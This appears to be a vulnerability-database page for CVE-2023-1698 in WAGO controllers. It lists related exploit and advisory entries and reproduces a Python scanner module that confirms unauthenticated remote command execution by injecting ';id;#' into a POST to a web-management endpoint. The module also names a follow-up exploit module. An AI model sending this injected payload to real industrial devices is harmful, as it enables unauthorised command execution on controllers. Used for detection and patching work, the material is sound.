WAGO - Remote Command Execution Detection
| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| Exploit for OS Command Injection in Wago Compact_Controller_100_Firmware | 21 Feb 202515:38 | – | githubexploit | |
| Exploit for OS Command Injection in Wago Compact_Controller_100_Firmware | 15 Sep 202320:06 | – | githubexploit | |
| Exploit for OS Command Injection in Wago Compact_Controller_100_Firmware | 15 Jun 202517:37 | – | githubexploit | |
| Exploit for OS Command Injection in Wago Compact_Controller_100_Firmware | 20 Oct 202312:15 | – | githubexploit | |
| WAGO CC100 PLC Input Verification | 7 Jun 202300:00 | – | bdu_fstec | |
| CVE-2023-1698 | 15 May 202312:29 | – | circl | |
| Multiple WAGO product operating system command injection vulnerabilities | 15 May 202300:00 | – | cnnvd | |
| CVE-2023-1698 | 15 May 202308:51 | – | cve | |
| CVE-2023-1698 WAGO: WBM Command Injection in multiple products | 15 May 202308:51 | – | cvelist | |
| CVE-2023-1698 | 30 Oct 202614:23 | – | kitploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""In multiple products of WAGO, a vulnerability allows an unauthenticated, remote attacker to create new users a."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WAGO - Remote Command Execution Detection',
'description': 'In multiple products of WAGO, a vulnerability allows an unauthenticated, remote attacker to create new users and change the device configuration which can result in unintended behavior, Denial of Service, and full system compromise.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve2023', 'cve', 'wago', 'rce', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['exploits/multi/http/wago_cve_2023_1698_rce'],
},
},
'references': [
'https://onekey.com/blog/security-advisory-wago-unauthenticated-remote-command-execution/',
'https://nvd.nist.gov/vuln/detail/CVE-2023-1698',
'https://cert.vde.com/en/advisories/VDE-2023-007/',
'https://github.com/codeb0ss/CVE-2023-1698-PoC',
'https://github.com/deIndra/CVE-2023-1698',
],
'cve': 'CVE-2023-1698',
}
def run(self):
path = '/wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='{"package":";id;#"}\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('"license":', '"name":', 'uid=', 'gid=',)
if all(m in body for m in body_all):
self.set_info(severity='critical', reason='WAGO - Remote Command Execution detected', path=path)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Nov 2026 17:44Current
8.5High risk
Vulners AI Score8.5
CVSS 3.19.8
EPSS0.81911
SSVC